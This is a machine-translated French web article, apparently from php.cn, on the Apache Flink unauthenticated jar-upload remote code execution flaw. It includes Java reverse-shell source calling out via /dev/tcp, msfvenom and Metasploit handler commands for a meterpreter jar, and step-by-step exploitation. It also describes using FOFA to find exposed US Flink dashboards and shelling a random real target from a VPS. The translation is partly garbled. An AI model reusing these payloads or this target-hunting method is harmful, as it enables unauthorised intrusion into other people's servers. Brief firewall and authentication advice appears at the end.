Maison >Opération et maintenance >Sécurité >Exemple d'analyse de l'exécution de code à distance provoquée par le téléchargement d'un package jar dans Apache Flink

Exemple d'analyse de l'exécution de code à distance provoquée par le téléchargement d'un package jar dans Apache Flink

WBOY
WBOYavant
2023-05-15 13:01:131684parcourir

Description de la vulnérabilité :

Le 11 novembre 2019, l'ingénieur en sécurité Henry Chen a divulgué une vulnérabilité qui permet à Apache Flink de télécharger des packages jar sans autorisation, conduisant à l'exécution de code à distance. Étant donné que le tableau de bord Apache Flink est accessible par défaut sans authentification, un shell peut être obtenu en téléchargeant un package jar malveillant et en déclenchant l'exécution de code malveillant.

Portée d'influence

<= 1.9.1 (dernière version)

Construction de l'environnement :

(1) Installez Java à l'avance (nécessite java8 ou supérieur)

apache flink任意jar包上传导致远程代码执行的示例分析

(2) Téléchargez flink- 1.9.1

Adresse de téléchargement : https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) Décompressez et téléchargez Le package compressé :

tar -zxf flink-1.9.1-bin-scala_2.11.tgz

(4) Allez dans le répertoire décompressé et allez dans son répertoire bin :

apache flink任意jar包上传导致远程代码执行的示例分析

(5) Démarrez flink :

./start-cluster.sh

(6) Vérification de l'accès au navigateur (le port par défaut est 8081):

http://172.26.1.108:8081

apache flink任意jar包上传导致远程代码执行的示例分析

Lorsque l'image ci-dessus apparaît, la construction est réussie.

(7) Configurez le démarrage automatique au démarrage (j'ai du mal ici depuis un longtemps et je ne peux pas me lever. Directement source /etc /rc.d/rc.local peut être démarré, mais flink ne sera pas démarré après le redémarrage. Enfin, une solution a été trouvée)

apache flink任意jar包上传导致远程代码执行的示例分析

Paramètres de démarrage automatique. au démarrage

Récurrence de la vulnérabilité :

étapes de production du package jar :

(1) Reportez-vous à l'article https://klionsec.github.io/2016/09/27/revese-shell/#menu pour utiliser Java pour Rebondissez le shell

apache flink任意jar包上传导致远程代码执行的示例分析

remember pour modifier l'IP et le port:

apache flink任意jar包上传导致远程代码执行的示例分析

Code:

<p >package shell;public class Revs {   <br/> /**    * @param args    * @throws Exception     */    <br/> public static void main(String[] args) throws Exception {        <br/> // TODO Auto-generated method stub        <br/> Runtime r = Runtime.getRuntime();        <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&amp5; done"};        <br> Process p = r.exec(cmd);        <br> p.waitFor();<br>     }}</p>
<p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p>
<p><img src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p>b. le projet Java correspondant, le chemin d'exportation et le nom du fichier d'exportation</p>
<p><img src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p>image</p>
<p> comme celle-ci Un package jar pour le shell de rebond est généré<img src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>msf génère un cheval de pot :<p></p>(1) Utilisez msfvenom pour générer un cheval de pot :<p> </p>
<pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
(2) Ouvrez le module d'écoute de msf et écoutez le port 9999 (à utiliser avec notre jar Le port défini par le cheval est cohérent)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit

(3) Après avoir téléchargé le jar horse que nous avons généré et soumis dessus (se référer à la reproduction ci-dessous pour cette partie de l'opération), vous pouvez constater que nous avons bien reçu la coque :


apache flink任意jar包上传导致远程代码执行的示例分析 Reproduction locale :

(1) Cible d'accès : apache flink任意jar包上传导致远程代码执行的示例分析

(2) Cliquez sur Soumettre un nouveau travail pour ouvrir la page de téléchargement du package jar :

apache flink任意jar包上传导致远程代码执行的示例分析

(3) Cliquez sur Ajouter un nouveau pour sélectionner le package jar que nous avons créé :

apache flink任意jar包上传导致远程代码执行的示例分析

(4) Surveillez le port de notre machine (le package jar le paquet que nous avons fabriqué fait directement rebondir la coque)

(5) Cliquez sur le paquet de pot que nous venons de télécharger :apache flink任意jar包上传导致远程代码执行的示例分析

(6) Ensuite, cliquez simplement sur Soumettre et vous pouvez voir que nous avons reçu avec succès la coque :

apache flink任意jar包上传导致远程代码执行的示例分析

Site Internet :

fofa Mots-clés :apache flink任意jar包上传导致远程代码执行的示例分析

"apache-flink-dashboard" && country="US"

(1) Trouvez une cible aléatoire :

apache flink任意jar包上传导致远程代码执行的示例分析

(2) Cliquez sur Soumettre un nouveau travail, vous pouvez voir que cela nous permet de télécharger le pot packages

apache flink任意jar包上传导致远程代码执行的示例分析

(3) Utilisez la fonction flink pour télécharger le package jar pour télécharger notre package jar :

#🎜 🎜## 🎜🎜#apache flink任意jar包上传导致远程代码执行的示例分析(4) Après le téléchargement, nous surveillons le port sur notre vps

(5) Revenez ensuite au navigateur, sélectionnez le package jar que nous venons de télécharger, et cliquez sur Soumettre Soumettre, vous pouvez voir que notre vps a reçu avec succès le shell Paramètres recommandés Politique de pare-feu, autoriser uniquement les adresses IP de la liste blanche à accéder au service Apache Flink et ajouter une authentification Digest pour le service dans le proxy Web (tel qu'Apache httpd).

Faites toujours attention au site officiel et attendez les nouvelles versions ou les mises à jour de correctifs

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer
Article précédent:Comment utiliser Smarty SSTiArticle suivant:Comment utiliser Smarty SSTi